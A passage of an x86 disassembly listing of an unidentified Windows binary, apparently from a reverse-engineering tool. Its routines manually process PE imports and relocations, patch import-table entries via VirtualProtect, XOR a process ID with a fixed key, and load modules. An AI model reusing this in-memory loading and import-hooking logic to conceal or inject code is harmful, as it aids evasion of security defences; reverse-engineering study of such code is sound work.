		mov	edx, [ebp+var_44]
		mov	eax, [ebp+var_34]
		add	eax, [edx+0Ch]
		mov	ecx, [ebp+var_44]
		add	eax, [ecx+8]
		cmp	[ebp+var_20], eax
		ja	short loc_418D05
		mov	edx, [ebp+var_44]
		mov	eax, [edx+24h]
		and	eax, 10000000h
		test	eax, eax
		jz	short loc_418D03
		push	0
		push	0
		push	0
		push	0
		call	ds:dword_4246F8	; RaiseException


loc_418D03:				; CODE XREF: sub_418B90+163j
		jmp	short loc_418D07
; ---------------------------------------------------------------------------


loc_418D05:				; CODE XREF: sub_418B90+140j
					; sub_418B90+154j
		jmp	short loc_418C92
; ---------------------------------------------------------------------------


loc_418D07:				; CODE XREF: sub_418B90+F7j
					; sub_418B90+117j ...
		mov	[ebp+var_4], 0
		jmp	short loc_418D2E
; ---------------------------------------------------------------------------


loc_418D10:				; DATA XREF: _4:00421468o
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------


loc_418D24:				; DATA XREF: _4:0042146Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_418D2E:				; CODE XREF: sub_418B90+17Ej
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+84h]
		xor	edx, edx
		mov	ecx, 14h
		div	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+var_3C], 0
		jmp	short loc_418D55
; ---------------------------------------------------------------------------


loc_418D4C:				; CODE XREF: sub_418B90:loc_418E2Cj
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx


loc_418D55:				; CODE XREF: sub_418B90+1BAj
		mov	eax, [ebp+var_3C]
		cmp	eax, [ebp+var_1C]
		jnb	loc_418E31
		mov	ecx, [ebp+var_3C]
		imul	ecx, 14h
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_34]
		add	eax, [edx+ecx+0Ch]
		mov	[ebp+var_50], eax
		mov	ecx, [ebp+var_3C]
		imul	ecx, 14h
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+ecx+0Ch], 0
		jz	short loc_418D9D
		mov	eax, [ebp+var_3C]
		imul	eax, 14h
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+eax+0Ch]
		mov	eax, [ebp+var_34]
		xor	ecx, ecx
		mov	cl, [eax+edx]
		test	ecx, ecx
		jnz	short loc_418DA2


loc_418D9D:				; CODE XREF: sub_418B90+1F2j
		jmp	loc_418E31
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418B90+20Bj
		mov	edx, [ebp+var_3C]
		imul	edx, 14h
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+edx+10h]
		mov	[ebp+var_48], ecx
		mov	edx, [ebp+var_50]
		push	edx
		call	sub_41E254
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_50]
		mov	ds:dword_423BC0, eax
		cmp	[ebp+var_4C], 0
		jz	short loc_418DE3
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_4C]
		push	eax
		call	sub_418B90
		add	esp, 0Ch


loc_418DE3:				; CODE XREF: sub_418B90+23Dj
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		cmp	eax, [ebp+arg_0]
		jz	short loc_418E2C
		mov	ecx, [ebp+var_4C]
		push	ecx
		mov	ecx, ds:dword_429038
		call	sub_41EB4C
		test	eax, eax
		jz	short loc_418E2C
		jmp	short loc_418E0E
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418B90+29Aj
		mov	edx, [ebp+var_48]
		add	edx, 4
		mov	[ebp+var_48], edx


loc_418E0E:				; CODE XREF: sub_418B90+273j
		mov	eax, [ebp+var_48]
		cmp	dword ptr [eax], 0
		jz	short loc_418E2C
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_48]
		push	eax
		call	sub_418E90
		add	esp, 0Ch
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418B90+25Ej
					; sub_418B90+271j ...
		jmp	loc_418D4C
; ---------------------------------------------------------------------------


loc_418E31:				; CODE XREF: sub_418B90+B4j
					; sub_418B90+1CBj ...
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		call	sub_41EC69
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_418E65
; ---------------------------------------------------------------------------
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	ecx, [eax]
		mov	[ebp+var_54], ecx
		mov	eax, [ebp+var_54]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh


loc_418E65:				; CODE XREF: sub_418B90+2B6j
		mov	eax, [ebp+var_24]
		mov	ds:dword_423BC0, eax
		mov	ecx, ds:dword_424894
		sub	ecx, 1
		mov	ds:dword_424894, ecx


loc_418E7C:				; CODE XREF: sub_418B90+2Cj
					; sub_418B90+5Ej ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E90	proc near		; CODE XREF: sub_4184A0+250p
					; sub_418B90+292p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], 0
		cmp	ds:dword_429034, 0
		jnz	short loc_418EB0
		mov	ecx, 0EF00000Ah
		call	sub_41BA32


loc_418EB0:				; CODE XREF: sub_418E90+14j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	ecx, ds:dword_429034
		call	sub_41EB4C
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_418F0F
		lea	edx, [ebp+var_10]
		push	edx
		push	4
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_42472C	; VirtualProtect
		test	eax, eax
		jnz	short loc_418EEA
		mov	ecx, 0EF00000Bh
		call	sub_41BA32


loc_418EEA:				; CODE XREF: sub_418E90+4Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ecx], eax
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_42472C	; VirtualProtect
		mov	[ebp+var_4], 1


loc_418F0F:				; CODE XREF: sub_418E90+38j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_418E90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F16	proc near		; CODE XREF: sub_410386+23p
					; sub_413056+A5p

var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_1E		= dword	ptr -1Eh
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421470
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 6Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_3C], 0
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	0Eh
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	sub_415175
		test	eax, eax
		jz	short loc_418F77
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+arg_0]
		call	sub_414670
		test	eax, eax
		jnz	short loc_418F90


loc_418F77:				; CODE XREF: sub_418F16+4Fj
		push	0FFFFFFFFh
		and	[ebp+var_64], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_64]
		jmp	loc_41919C
; ---------------------------------------------------------------------------


loc_418F90:				; CODE XREF: sub_418F16+5Fj
		movzx	eax, [ebp+var_28]
		cmp	eax, 4D42h
		jnz	short loc_418FF4
		mov	eax, [ebp+var_26]
		cmp	eax, [ebp+var_44]
		ja	short loc_418FF4
		mov	eax, [ebp+var_26]
		sub	eax, 0Eh
		push	eax
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_48]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, [ebp+var_26]
		sub	eax, 0Eh
		push	eax
		push	[ebp+var_30]
		push	[ebp+arg_0]
		call	sub_415175
		test	eax, eax
		jnz	short loc_418FF2
		push	0FFFFFFFFh
		and	[ebp+var_68], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_68]
		jmp	loc_41919C
; ---------------------------------------------------------------------------


loc_418FF2:				; CODE XREF: sub_418F16+C1j
		jmp	short loc_41900D
; ---------------------------------------------------------------------------


loc_418FF4:				; CODE XREF: sub_418F16+83j
					; sub_418F16+8Bj
		push	0FFFFFFFFh
		and	[ebp+var_6C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_6C]
		jmp	loc_41919C
; ---------------------------------------------------------------------------


loc_41900D:				; CODE XREF: sub_418F16:loc_418FF2j
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_30]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_419037
		push	0FFFFFFFFh
		and	[ebp+var_70], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_70]
		jmp	loc_41919C
; ---------------------------------------------------------------------------


loc_419037:				; CODE XREF: sub_418F16+106j
		push	0
		call	ds:dword_424760	; CreateCompatibleDC
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_419061
		push	0FFFFFFFFh
		and	[ebp+var_74], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_74]
		jmp	loc_41919C
; ---------------------------------------------------------------------------


loc_419061:				; CODE XREF: sub_418F16+130j
		mov	eax, [ebp+var_1E]
		mov	ecx, [ebp+var_30]
		lea	eax, [ecx+eax-0Eh]
		mov	[ebp+var_40], eax
		and	[ebp+var_4C], 0
		and	[ebp+var_54], 0
		mov	eax, [ebp+var_30]
		movzx	eax, word ptr [eax+0Eh]
		mov	[ebp+var_78], eax
		cmp	[ebp+var_78], 8
		jz	short loc_4190B5
		cmp	[ebp+var_78], 10h
		jz	short loc_4190AC
		cmp	[ebp+var_78], 18h
		jz	short loc_4190A3
		cmp	[ebp+var_78], 20h
		jz	short loc_41909A
		jmp	short loc_4190BE
; ---------------------------------------------------------------------------


loc_41909A:				; CODE XREF: sub_418F16+180j
		mov	[ebp+var_4C], 4
		jmp	short loc_4190D7
; ---------------------------------------------------------------------------


loc_4190A3:				; CODE XREF: sub_418F16+17Aj
		mov	[ebp+var_4C], 3
		jmp	short loc_4190D7
; ---------------------------------------------------------------------------


loc_4190AC:				; CODE XREF: sub_418F16+174j
		mov	[ebp+var_4C], 2
		jmp	short loc_4190D7
; ---------------------------------------------------------------------------


loc_4190B5:				; CODE XREF: sub_418F16+16Ej
		mov	[ebp+var_4C], 1
		jmp	short loc_4190D7
; ---------------------------------------------------------------------------


loc_4190BE:				; CODE XREF: sub_418F16+182j
		push	0FFFFFFFFh
		and	[ebp+var_7C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_7C]
		jmp	loc_41919C
; ---------------------------------------------------------------------------


loc_4190D7:				; CODE XREF: sub_418F16+18Bj
					; sub_418F16+194j ...
		push	0
		push	0
		lea	eax, [ebp+var_58]
		push	eax
		push	0
		push	[ebp+var_30]
		push	[ebp+var_2C]
		call	ds:dword_424764	; CreateDIBSection
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jnz	short loc_41910F
		push	0FFFFFFFFh
		and	[ebp+var_80], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_80]
		jmp	loc_41919C
; ---------------------------------------------------------------------------


loc_41910F:				; CODE XREF: sub_418F16+1DEj
		mov	eax, [ebp+var_30]
		mov	eax, [eax+4]
		imul	eax, [ebp+var_4C]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_50]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_41913F
		mov	eax, [ebp+var_50]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		push	4
		pop	eax
		sub	eax, edx
		mov	ecx, [ebp+var_50]
		add	ecx, eax
		mov	[ebp+var_50], ecx


loc_41913F:				; CODE XREF: sub_418F16+211j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_50]
		imul	ecx, [eax+8]
		mov	esi, [ebp+var_40]
		mov	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	0FFFFFFFFh
		mov	eax, [ebp+var_54]
		mov	[ebp+var_84], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_84]
		jmp	short loc_41919C
; ---------------------------------------------------------------------------


loc_41917B:				; DATA XREF: _4:00421478o
		cmp	[ebp+var_2C], 0
		jz	short loc_41918A
		push	[ebp+var_2C]
		call	ds:dword_424768	; DeleteDC


loc_41918A:				; CODE XREF: sub_418F16+269j
		mov	eax, [ebp+var_30]
		mov	[ebp+var_60], eax
		push	[ebp+var_60]
		call	sub_41BACD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41919C:				; CODE XREF: sub_418F16+75j
					; sub_418F16+D7j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418F16	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191AB	proc near		; CODE XREF: sub_41925C+86p
					; sub_419995+CDp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		movzx	eax, ds:byte_424614
		test	eax, eax
		jnz	short loc_419209
		push	offset dword_423C60
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_415977
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4191F0
		push	offset dword_423C60
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_415867
		mov	[ebp+var_8], eax


loc_4191F0:				; CODE XREF: sub_4191AB+30j
		cmp	[ebp+var_8], 0
		jnz	short loc_419209
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	[ebp+var_C]
		call	sub_41BACD
		pop	ecx
		and	[ebp+var_4], 0


loc_419209:				; CODE XREF: sub_4191AB+17j
					; sub_4191AB+49j
		cmp	[ebp+arg_4], 0
		jz	short loc_419219
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		jmp	short loc_419228
; ---------------------------------------------------------------------------


loc_419219:				; CODE XREF: sub_4191AB+62j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_41BACD
		pop	ecx


loc_419228:				; CODE XREF: sub_4191AB+6Cj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4191AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41922D	proc near		; CODE XREF: sub_419529+41p
					; sub_419529+227p ...
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4248BC, 0
		jnz	short loc_41924F
		push	offset aKernel32_dll ; "kernel32.dll"
		push	offset aGetcurrentpr_0 ; "GetCurrentProcessId"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248BC, eax


loc_41924F:				; CODE XREF: sub_41922D+Aj
		call	ds:dword_4248BC
		xor	eax, 0CABEFA10h
		pop	ebp
		retn
sub_41922D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41925C	proc near		; CODE XREF: sub_419424+Cp
					; sub_41E254+2Bp

var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	[ebp+var_28], dl
		mov	[ebp+var_24], ecx
		push	offset sub_41EDE8
		push	ds:dword_424740
		push	[ebp+var_24]
		mov	ecx, ds:dword_4248B4
		call	sub_41EB6C
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4192DB
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_4192D3
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		push	104h
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	ds:dword_424694	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_4192C4
		push	[ebp+var_10]
		call	ds:dword_4246DC	; LoadLibraryA


loc_4192C4:				; CODE XREF: sub_41925C+5Dj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		call	sub_41BACD
		pop	ecx


loc_4192D3:				; CODE XREF: sub_41925C+34j
		mov	eax, [ebp+var_C]
		jmp	locret_419391
; ---------------------------------------------------------------------------


loc_4192DB:				; CODE XREF: sub_41925C+2Cj
		push	0
		push	0
		push	[ebp+var_24]
		call	sub_4191AB
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		cmp	[ebp+var_8], 0
		jz	short loc_41933D
		push	0
		push	0
		push	[ebp+var_8]
		call	sub_41BF82
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		push	[ebp+var_14]
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41932C
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_41932C
		push	[ebp+var_14]
		call	ds:dword_4246DC	; LoadLibraryA


loc_41932C:				; CODE XREF: sub_41925C+BDj
					; sub_41925C+C5j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		call	sub_41BACD
		pop	ecx
		jmp	short loc_41938E
; ---------------------------------------------------------------------------


loc_41933D:				; CODE XREF: sub_41925C+99j
		push	[ebp+var_24]
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41938E
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_41938E
		push	[ebp+var_24]
		call	ds:dword_4246DC	; LoadLibraryA
		push	[ebp+var_24]
		push	[ebp+var_4]
		call	sub_418B30
		test	eax, eax
		jnz	short loc_41938E
		call	ds:dword_424690	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_419381
		push	7Eh
		call	ds:dword_42470C	; RtlRestoreLastWin32Error


loc_419381:				; CODE XREF: sub_41925C+11Bj
		push	[ebp+var_4]
		call	ds:dword_424660	; FreeLibrary
		and	[ebp+var_4], 0


loc_41938E:				; CODE XREF: sub_41925C+DFj
					; sub_41925C+F1j ...
		mov	eax, [ebp+var_4]

locret_419391:				; CODE XREF: sub_41925C+7Aj
		leave
		retn
sub_41925C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419393	proc near		; CODE XREF: sub_41E33E+53p

var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00419415 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421480
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], ecx
		push	105h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1C], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		rep stosd
		stosb
		and	[ebp+var_4], 0
		push	104h
		push	[ebp+var_1C]
		push	[ebp+var_28]
		call	ds:dword_424694	; GetModuleFileNameA
		push	[ebp+var_1C]
		push	[ebp+var_28]
		call	sub_418B30
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_419405
		jmp	short loc_419415
sub_419393	endp


; =============== S U B	R O U T	I N E =======================================



sub_419405	proc near		; CODE XREF: sub_419393+6Bp
					; DATA XREF: _4:00421488o
		mov	eax, [ebp-1Ch]
		mov	[ebp-24h], eax
		push	dword ptr [ebp-24h]
		call	sub_41BACD
		pop	ecx
		retn
sub_419405	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419393


loc_419415:				; CODE XREF: sub_419393+70j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_419393

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419424	proc near		; CODE XREF: sub_41E119+7p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	dl, 1
		mov	ecx, [ebp+var_4]
		call	sub_41925C
		leave
		retn
sub_419424	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419437	proc near		; CODE XREF: sub_419995+362p
					; sub_419995+576p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_419457
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		jmp	short locret_41945A
; ---------------------------------------------------------------------------


loc_419457:				; CODE XREF: sub_419437+13j
		mov	eax, [ebp+arg_0]

locret_41945A:				; CODE XREF: sub_419437+1Ej
		leave
		retn
sub_419437	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41945C	proc near		; CODE XREF: sub_419529+153p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_8]
		add	eax, [ebp+arg_C]
		mov	[ebp+var_8], eax


loc_419477:				; CODE XREF: sub_41945C:loc_419522j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	locret_419527
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		sub	eax, 8
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax


loc_4194B7:				; CODE XREF: sub_41945C+8Bj
					; sub_41945C+C4j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_419522
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		and	eax, 0FFFh
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		sar	eax, 0Ch
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_4]
		inc	eax
		inc	eax
		mov	[ebp+var_4], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4194E9
		jmp	short loc_4194B7
; ---------------------------------------------------------------------------


loc_4194E9:				; CODE XREF: sub_41945C+89j
		cmp	[ebp+var_1C], 3
		jz	short loc_4194F9
		mov	ecx, 0EF000016h
		call	sub_41BA32


loc_4194F9:				; CODE XREF: sub_41945C+91j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		sub	ecx, [eax+34h]
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		add	eax, ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx
		jmp	short loc_4194B7
; ---------------------------------------------------------------------------


loc_419522:				; CODE XREF: sub_41945C+61j
		jmp	loc_419477
; ---------------------------------------------------------------------------

locret_419527:				; CODE XREF: sub_41945C+21j
		leave
		retn
sub_41945C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419529	proc near		; DATA XREF: sub_419995+B34o

var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 004198DE SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421490
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		cmp	[ebp+arg_10], 1
		jnz	loc_419746
		mov	[ebp+var_4], 1
		call	sub_41922D
		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_40], ecx
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_40]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_38], eax
